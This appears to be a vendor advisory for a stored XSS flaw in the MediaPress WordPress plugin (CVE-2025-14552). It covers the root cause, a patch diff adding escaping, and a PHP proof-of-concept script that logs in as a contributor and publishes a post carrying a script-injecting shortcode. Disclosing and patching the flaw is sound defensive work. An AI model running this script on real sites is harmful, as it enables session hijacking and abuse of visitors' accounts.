Atomic Edge analysis of CVE-2025-14552:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the MediaPress WordPress plugin. The vulnerability exists in the plugin’s `mpp-uploader` shortcode handler. Attackers with contributor-level access or higher can inject arbitrary JavaScript into pages that use the shortcode. The injected scripts execute when a user views the compromised page.
The root cause is insufficient input sanitization and output escaping for user-supplied shortcode attributes. The vulnerable function `mpp_list_gallery_dropdown` in `/mediapress/core/gallery/mpp-gallery-template-tags.php` directly concatenated unsanitized user input into HTML output. Specifically, the `$args[‘label_empty’]` parameter (line 662) and the `$args[‘name’]` and `$args[‘id’]` parameters (line 681) were embedded into the generated “ and “ tags without escaping. The shortcode handler in `/mediapress/core/shortcodes/mpp-shortcode-media-uploader.php` also lacked input sanitization for the `label_empty`, `name`, and `id` attributes passed via the `$atts` array.
Exploitation requires an authenticated user with at least contributor privileges to create or edit a post or page containing the `[mpp-uploader]` shortcode. The attacker crafts a shortcode with malicious attributes, such as `[mpp-uploader label_empty=”alert(document.domain)”]`. When the page is rendered, the plugin processes the shortcode and passes the unsanitized `label_empty` value to the `mpp_list_gallery_dropdown` function. This value is then output without escaping, resulting in script execution in the victim’s browser.
The patch addresses the issue in two primary ways. First, it adds input sanitization in the shortcode handler (`mpp-shortcode-media-uploader.php` lines 36-48). Attributes like `label_empty` are now sanitized with `sanitize_text_field()`. Second, it implements proper output escaping in the template function. The `label_empty` value is now escaped with `esc_html()` (line 662). The gallery title is escaped with `esc_html()` (line 672). The `name` and `id` attributes are escaped with `esc_attr()` (line 681). The patch also replaces string concatenation with `sprintf()` for safer construction of HTML elements.
Successful exploitation allows an attacker to inject malicious JavaScript that executes in the context of any user viewing the affected page. This can lead to session hijacking, unauthorized actions performed on behalf of the user, defacement, or theft of sensitive information. The attacker’s ability to create posts as a contributor makes this a viable stored XSS vector.
--- a/mediapress/core/gallery/mpp-gallery-template-tags.php
+++ b/mediapress/core/gallery/mpp-gallery-template-tags.php
@@ -650,7 +650,7 @@
$args = wp_parse_args( $args, $default );
- $component = $args['component'];
+ $component = $args['component'];
$component_id = $args['component_id'];
if ( ! $component || ! $component_id ) {
@@ -662,15 +662,18 @@
$html = '';
if ( $args['label_empty'] ) {
- $html .= "<option value='0'" . selected( 0, $args['selected'], false ) . ">" . $args['label_empty'] . "</option>";
+ $html .= "<option value='0'" . selected( 0, $args['selected'], false ) . ">" . esc_html( $args['label_empty'] ) . "</option>";
}
while ( $mppq->have_galleries() ) {
$mppq->the_gallery();
-
- $selected_attr = selected( $args['selected'], mpp_get_gallery_id(), false );
-
- $html .= "<option value='" . mpp_get_gallery_id() . "'" . $selected_attr . " data-mpp-type='" . mpp_get_gallery_type() . "'>" . mpp_get_gallery_title() . '</option>';
+ $html .= sprintf(
+ '<option value="%1$s" %2$s data-mpp-type="%3$s">%4$s</option>',
+ absint( mpp_get_gallery_id() ),
+ selected( $args['selected'], mpp_get_gallery_id(), false ),
+ esc_attr( mpp_get_gallery_type() ),
+ esc_html( mpp_get_gallery_title() )
+ );
}
// reset current gallery.
mpp_reset_gallery_data();
@@ -678,7 +681,7 @@
$name = $args['name'];
$id = $args['id'];
if ( ! empty( $html ) ) {
- $html = "<select name='{$name}' id='{$id}'>" . $html . '</select>';
+ $html = sprintf( '<select name="%s" id="%s">%s</select>', esc_attr( $name ), esc_attr( $id ), $html );
}
if ( ! $args['echo'] ) {
--- a/mediapress/core/shortcodes/mpp-shortcode-media-uploader.php
+++ b/mediapress/core/shortcodes/mpp-shortcode-media-uploader.php
@@ -36,6 +36,18 @@
);
$atts = shortcode_atts( $default, $atts );
+ // sanitize
+ $atts['gallery_id'] = absint( $atts['gallery_id'] );
+ $atts['component'] = empty( $atts['component'] ) ? $atts['component'] : sanitize_key( $atts['component'] );
+ $atts['component_id'] = absint( $atts['component_id'] );
+ $atts['type'] = empty( $atts['type'] ) ? $atts['type'] : sanitize_key( $atts['type'] );
+ $atts['status'] = empty( $atts['status'] ) ? $atts['status'] : sanitize_key( $atts['status'] );
+ $atts['view'] = empty( $atts['view'] ) ? $atts['view'] : sanitize_key( $atts['view'] );
+ $atts['selected'] = absint( $atts['selected'] );
+ $atts['skip_gallery_check'] = absint( $atts['skip_gallery_check'] );
+ $atts['show_error'] = absint( $atts['show_error'] );
+ $atts['label_empty'] = empty( $atts['label_empty'] ) ? $atts['label_empty'] : sanitize_text_field( $atts['label_empty'] );
+
// dropdown list of galleries to allow user select one.
$view = 'list';
--- a/mediapress/mediapress.php
+++ b/mediapress/mediapress.php
@@ -1,7 +1,7 @@
<?php
/**
* Plugin Name: MediaPress
- * Version: 1.6.1
+ * Version: 1.6.2
* Author: BuddyDev
* Plugin URI: https://buddydev.com/mediapress/
* Author URI: https://buddydev.com
--- a/mediapress/templates/mediapress/default/shortcodes/create-gallery.php
+++ b/mediapress/templates/mediapress/default/shortcodes/create-gallery.php
@@ -17,23 +17,23 @@
$title = $description = $status = $type = $component = '';
if ( ! empty( $_POST['mpp-gallery-title'] ) ) {
- $title = $_POST['mpp-gallery-title'];
+ $title = wp_unslash( $_POST['mpp-gallery-title'] );
}
if ( ! empty( $_POST['mpp-gallery-description'] ) ) {
- $description = $_POST['mpp-gallery-description'];
+ $description = wp_unslash( $_POST['mpp-gallery-description'] );
}
if ( ! empty( $_POST['mpp-gallery-status'] ) ) {
- $status = $_POST['mpp-gallery-status'];
+ $status = wp_unslash( $_POST['mpp-gallery-status'] );
}
if ( ! empty( $_POST['mpp-gallery-type'] ) ) {
- $type = $_POST['mpp-gallery-type'];
+ $type = wp_unslash( $_POST['mpp-gallery-type'] );
}
if ( ! empty( $_POST['mpp-gallery-component'] ) ) {
- $component = $_POST['mpp-gallery-component'];
+ $component = wp_unslash( $_POST['mpp-gallery-component'] );
}
$current_component = 'sitewide';// mpp_get_current_component();
@@ -82,7 +82,7 @@
?>
<input type='hidden' name="mpp-action" value='create-gallery'/>
- <input type='hidden' name="mpp-gallery-component" value="<?php echo $current_component; ?>"/>
+ <input type='hidden' name="mpp-gallery-component" value="<?php echo esc_attr( $current_component ); ?>"/>
<div class="mpp-u-1 mpp-clearfix mpp-submit-button">
<button type="submit" class='mpp-align-right mpp-button-primary mpp-create-gallery-button '> <?php _e( 'Create', 'mediapress' ); ?></button>
--- a/mediapress/templates/mediapress/default/shortcodes/uploader.php
+++ b/mediapress/templates/mediapress/default/shortcodes/uploader.php
@@ -1,5 +1,5 @@
<?php
-// Exit if the file is accessed directly over web
+// Exit if the file is accessed directly over web.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
@@ -45,7 +45,7 @@
<input type='hidden' name='mpp-context' class="mpp-context" id='mpp-context' value="<?php echo $context; ?>"/>
<?php if ( $type ) : ?>
- <input type='hidden' name='mpp-uploading-media-type' class='mpp-uploading-media-type' value="<?php echo $type; ?>"/>
+ <input type='hidden' name='mpp-uploading-media-type' class='mpp-uploading-media-type' value="<?php echo esc_attr( $type ); ?>"/>
<?php endif; ?>
<?php if ( $skip_gallery_check ) : ?>
@@ -53,7 +53,7 @@
<?php endif; ?>
<?php if ( $gallery_id || $skip_gallery_check ) : ?>
- <input type='hidden' name='mpp-shortcode-upload-gallery-id' id='mpp-shortcode-upload-gallery-id' value="<?php echo $gallery_id; ?>"/>
+ <input type='hidden' name='mpp-shortcode-upload-gallery-id' id='mpp-shortcode-upload-gallery-id' value="<?php echo esc_attr( $gallery_id ); ?>"/>
<?php else : ?>
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14552 - MediaPress <= 1.6.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin's Shortcode
<?php
$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php';
$username = 'contributor';
$password = 'password';
// Payload: Inject a script via the shortcode's label_empty attribute.
$shortcode_payload = '[mpp-uploader label_empty="<script>alert(`Atomic Edge XSS: `+document.domain)</script>"]';
$post_title = 'Test Post with XSS';
$post_content = 'This post contains a malicious MediaPress shortcode. ' . $shortcode_payload;
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// First request to get the login form and nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]*>/', $response, $matches);
if (!preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_matches)) {
die('Could not extract login nonce.');
}
$login_nonce = $nonce_matches[1];
// Perform login
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1',
'_wpnonce' => $login_nonce
]);
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$login_response = curl_exec($ch);
// Check if login succeeded by looking for admin bar or redirect
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Now create a new post with the malicious shortcode
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);
// Extract the nonce for creating a post
if (!preg_match('/name="_wpnonce" value="([^"]+)"/', $post_page, $post_nonce_matches)) {
die('Could not extract post nonce.');
}
$post_nonce = $post_nonce_matches[1];
// Submit the post
$post_data = http_build_query([
'post_title' => $post_title,
'content' => $post_content,
'publish' => 'Publish',
'_wpnonce' => $post_nonce,
'post_type' => 'post',
'post_status' => 'publish'
]);
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$post_result = curl_exec($ch);
// Extract the post URL from the response (redirect)
if (preg_match('/Location: (.*)/', $post_result, $location_matches)) {
$post_url = trim($location_matches[1]);
} else {
// Try to find the post link in the response
if (preg_match('/<a href="([^"]+)"[^>]*>View post/', $post_result, $view_link_matches)) {
$post_url = $view_link_matches[1];
} else {
$post_url = 'Post created, but URL not found. Check site.';
}
}
curl_close($ch);
echo "Proof of Concept executed.n";
echo "If successful, a post titled '{$post_title}' was created.n";
echo "Visit the post to trigger the XSS payload.n";
echo "Post URL (if detected): {$post_url}n";
echo "Payload shortcode: {$shortcode_payload}n";
?>